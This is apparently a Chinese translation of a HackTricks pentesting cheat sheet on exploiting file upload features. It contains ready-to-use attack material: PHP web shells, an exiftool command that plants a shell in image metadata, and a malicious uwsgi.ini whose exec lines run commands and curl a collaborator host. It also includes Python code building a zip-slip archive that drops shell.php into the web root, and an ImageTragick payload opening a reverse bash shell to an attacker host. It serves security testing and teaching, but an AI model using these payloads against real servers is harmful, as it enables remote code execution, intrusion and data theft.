.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
文件上传
从零开始学习AWS黑客攻击直到成为英雄 htARTE (HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs集合
- 加入 💬 Discord群组 或 telegram群组 或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
漏洞赏金提示:注册 Intigriti,一个由黑客为黑客创建的高级漏洞赏金平台!今天就加入我们 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
文件上传通用方法论
其他有用的扩展名:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- 在PHPv8中工作: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web服务器: .yaws
绕过文件扩展名检查
- 如果适用,检查 前面的扩展名。也可以使用一些大写字母测试它们:pHp, .pHP5, .PhAr ...
- 在执行扩展名之前添加一个有效的扩展名(使用前面的扩展名):
- file.png.php
- file.png.Php5
- 尝试在末尾添加特殊字符。您可以使用Burp来暴力破解所有的ascii和Unicode字符。(注意,您也可以尝试使用之前提到的扩展名)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- 尝试通过欺骗服务器端的扩展名解析器来绕过保护,例如双重扩展名或在扩展名之间添加垃圾数据(空字节)。您还可以使用前面的扩展名来准备更好的有效载荷。
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- 在前面的检查中添加另一层扩展名:
- file.png.jpg.php
- file.php%00.png%00.jpg
- 尝试将执行扩展名放在有效扩展名之前,并祈祷服务器配置错误。(用于利用Apache配置错误,任何带有扩展名**.php**的东西都会执行代码,但不一定以.php结尾):
- 例如:file.php.png
- 在Windows中使用NTFS备用数据流(ADS)。在这种情况下,在禁止的扩展名后和允许的扩展名前插入一个冒号字符“:”。结果,将在服务器上创建一个带有禁止扩展名的空文件(例如,“file.asax:.jpg”)。稍后可以使用其他技术编辑此文件,例如使用其短文件名。还可以使用“::$data”模式创建非空文件。因此,在此模式之后添加一个点字符也可能有助于绕过进一步的限制(例如。“file.asp::$data.”)
- 尝试打破文件名限制。有效的扩展名被截断。恶意的PHP被留下。AAA<--SNIP-->AAA.php
# Linux最大255字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# 上传文件并检查响应允许多少字符。假设是236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效载荷
AAA<--SNIP 232 A-->AAA.php.png
绕过Content-Type、魔术数字、压缩和调整大小
- 通过将Content-Type 头的值设置为:image/png , text/plain , application/octet-stream 来绕过Content-Type检查
- Content-Type 词表:https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
- 通过在文件开头添加真实图像的字节来绕过魔术数字检查(混淆_file_命令)。或者在元数据中引入shell:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
或者您也可以直接在图像中引入有效载荷:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- 如果对您的图像进行了压缩,例如使用一些标准的PHP库,如PHP-GD,前面的技术将不起作用。然而,您可以使用PLTE块 这里定义的技术来插入一些将经受住压缩的文本。
- 带有代码的Github
- 网页也可能在调整图像大小,例如使用PHP-GD函数
imagecopyresized
或imagecopyresampled
。然而,您可以使用IDAT块 这里定义的技术来插入一些将经受住压缩的文本。 - 带有代码的Github
- 另一种技术可以使有效载荷经受住图像调整大小,使用PHP-GD函数
thumbnailImage
。然而,您可以使用tEXt块 这里定义的技术来插入一些将经受住压缩的文本。 - 带有代码的Github
其他要检查的技巧
- 找到一个漏洞来重命名已上传的文件(更改扩展名)。
- 找到一个本地文件包含漏洞来执行后门。
- 可能的信息泄露:
- 多次(并且在同一时间)上传相同的文件,文件名称相同
- 上传一个名称为已存在的文件或文件夹的文件
- 上传一个名为**“.”、“..”或“…”的文件。例如,在Windows**中的Apache中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
- 上传一个可能不容易删除的文件,例如在NTFS中的**“…:.jpg”**。(Windows)
- 在Windows中上传一个文件名中包含无效字符,如
|<>*?”
的文件。(Windows) - 在Windows中上传一个使用保留(禁止)名称的文件,如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
- 也尝试上传一个可执行文件(.exe)或一个**.html**(不那么可疑),当受害者不小心打开时将执行代码。
特殊扩展名技巧
如果您正在尝试将文件上传到PHP服务器,请查看**.htaccess**技巧来执行代码。
如果您正在尝试将文件上传到ASP服务器,请查看**.config**技巧来执行代码。
.phar
文件就像java的.jar
,但适用于php,并且可以像php文件一样使用(用php执行它,或将其包含在脚本中...)
.inc
扩展名有时用于只用于导入文件的php文件,因此,有人可能允许此扩展名被执行。
Jetty RCE
如果您可以将XML文件上传到Jetty服务器,您可以获得因为新的*.xml和*.war会自动处理而导致的RCE。 因此,如下图所示,将XML文件上传到$JETTY_BASE/webapps/
并期待shell!
uWSGI RCE
如果您可以替换uWSGI服务器的.ini配置文件,您可以获得RCE。 实际上,uWSGI配置文件可以包含使用精确语法定义的“魔法”变量、占位符和操作符。特别是'@'操作符以@(filename)的形式使用,用于包含文件的内容。支持许多uWSGI方案,包括“exec” - 用于从进程的标准输出中读取。当解析.ini配置文件时,这些操作符可以用于远程命令执行或任意文件写入/读取:
恶意uwsgi.ini
文件示例:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
当配置文件被解析时,有效载荷将被执行。注意,要解析配置,进程需要重新启动(崩溃?DoS?)或文件自动重新加载(可能正在使用的一个选项,指示如果发现更改则重新加载文件的秒数)。
**重要提示:**uWSGI对配置文件的解析是宽松的。前面的有效载荷可以嵌入到二进制文件中(例如,图像,PDF等)。
wget 文件上传/SSRF 技巧
在某些情况下,您可能会发现服务器正在使用**wget
来下载文件**,并且您可以指示 URL。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保只会下载允许的文件。然而,这种检查可以被绕过。
在linux中,文件名的最大长度是255,但是,wget会将文件名截断为236个字符。您可以下载一个叫做 "A"*232+".php"+".gif" 的文件,这个文件名将绕过 检查(如在此示例中**".gif"是一个有效的扩展名),但wget
会将文件重命名为"A"*232+".php"**。
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
请注意,您可能想到的另一个选项是绕过这个检查,就是让HTTP服务器重定向到不同的文件,这样初始URL将绕过检查,但随后wget将下载重定向后的文件并使用新名称。除非使用了参数--trust-server-names
,否则这个方法不会起作用,因为wget将下载重定向页面,并使用原始URL中指示的文件名。
其他资源
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
工具
- Upload Bypass 是一个强大的工具,旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术简化了识别和利用漏洞的过程,确保对Web应用程序进行彻底评估。
从文件上传到其他漏洞
- 将文件名设置为
../../../tmp/lol.png
,尝试实现路径穿越 - 将文件名设置为
sleep(10)-- -.jpg
,你可能能够实现SQL注入 - 将文件名设置为
<svg onload=alert(document.domain)>
以实现XSS - 将文件名设置为
; sleep 10;
以测试一些命令注入(更多命令注入技巧在这里) - XSS 在图片(svg)文件上传中
- JS 文件上传 + XSS = Service Workers 漏洞利用
- XXE 在svg上传中
- Open Redirect 通过上传svg文件
- 尝试从https://github.com/allanlw/svg-cheatsheet使用不同的svg有效载荷
- 著名的ImageTrick漏洞
- 如果你能指示Web服务器从URL获取图像,你可以尝试利用SSRF。如果这个图像将被保存在某个公共网站上,你也可以指定一个来自https://iplogger.org/invisible/的URL,并窃取每个访问者的信息。
- XXE 和 CORS 绕过通过PDF-Adobe上传
- 特别制作的PDF以实现XSS:以下页面展示了如何注入PDF数据以获得JS执行。如果你可以上传PDF,你可以准备一些PDF,按照给定的指示执行任意JS。
- 上传[eicar](https://secure.eicar.org/eicar.com.txt)内容以检查服务器是否有任何杀毒软件
- 检查上传文件是否有任何大小限制
以下是通过上传可以实现的前10项清单(来自链接):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: 存储型XSS / SSRF / XXE
- GIF: 存储型XSS / SSRF
- CSV: CSV注入
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML注入 / XSS / Open redirect
- PNG / JPEG: 像素泛洪攻击(DoS)
- ZIP: 通过LFI实现RCE / DoS
- PDF / PPTX: SSRF / 盲XXE
Burp扩展
{% embed url="https://github.com/portswigger/upload-scanner" %}
魔术头字节
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
有关其他文件类型,请参考https://en.wikipedia.org/wiki/List_of_file_signatures。
Zip/Tar文件自动解压上传
如果你可以上传一个ZIP文件,它将在服务器内部被解压,你可以做两件事:
符号链接
上传一个包含对其他文件的软链接的链接,然后,访问解压后的文件时,你将访问链接的文件:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
在不同文件夹解压
解压后的文件将在意料之外的文件夹中创建。
人们很容易认为这种设置可以防止通过恶意文件上传执行操作系统级命令,但不幸的是,这并非事实。由于ZIP归档格式支持层次化压缩,并且我们还可以引用更高级别的目录,我们可以通过滥用目标应用程序的解压缩功能,从安全的上传目录中逃逸出来。
一个自动化利用这种文件的漏洞的工具可以在这里找到:https://github.com/ptoomey3/evilarc
python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
您还可以使用 **symlink 技巧结合 evilarc**,如果标志位于 `/flag.txt`,确保创建一个**指向该文件的符号链接**并**在您的系统中创建该文件**,这样当您调用 evilarc 时它**不会出错**。
一些创建恶意 zip 文件的 python 代码:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
为了实现远程命令执行,我采取了以下步骤:
- 创建一个PHP shell:
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- 使用“文件喷洒”技术,创建一个压缩的zip文件:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
3.使用十六进制编辑器或vi,并将“xxA”更改为“../”,我使用了vi:
:set modifiable
:%s/xxA/..\//g
:x!
完成!
只剩下最后一步:上传ZIP文件并让应用程序解压它!如果成功并且web服务器有足够的权限写入目录,系统上将有一个简单的OS命令执行shell:
参考资料:https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
ImageTragic
上传带有图像扩展名的内容来利用漏洞 (ImageMagick , 7.0.1-1)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
在PNG中嵌入PHP Shell
将web shell放在IDAT块中的主要原因是它能够绕过调整大小和重采样操作 - PHP-GD包含两个执行此操作的函数 imagecopyresized 和 imagecopyresampled。
阅读这篇文章:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
多格式文件
在安全上下文中,多格式文件是指同时为多种不同文件类型的有效形式的文件。例如,GIFAR 既是GIF文件也是RAR文件。还有可以同时是GIF和JS、PPT和JS等的文件。
多格式文件常用于绕过基于文件类型的保护。许多允许用户上传文件的应用程序只允许上传某些类型的文件,例如JPEG、GIF、DOC,以防止用户上传潜在危险的文件,如JS文件、PHP文件或Phar文件。
这有助于上传一个符合多种不同格式的文件。它可以让你上传一个同时看起来像JPEG的PHAR文件(PHp ARchive),但你可能仍然需要一个有效的扩展名,如果上传功能不允许,这将无济于事。
更多信息在:https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
漏洞赏金小贴士:注册 Intigriti,一个由黑客创建,为黑客服务的优质漏洞赏金平台!立即加入我们 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
从零开始学习AWS黑客技术,成为 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果你想在 HackTricks 中看到你的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取 官方PEASS & HackTricks商品
- 发现 PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享你的黑客技巧。**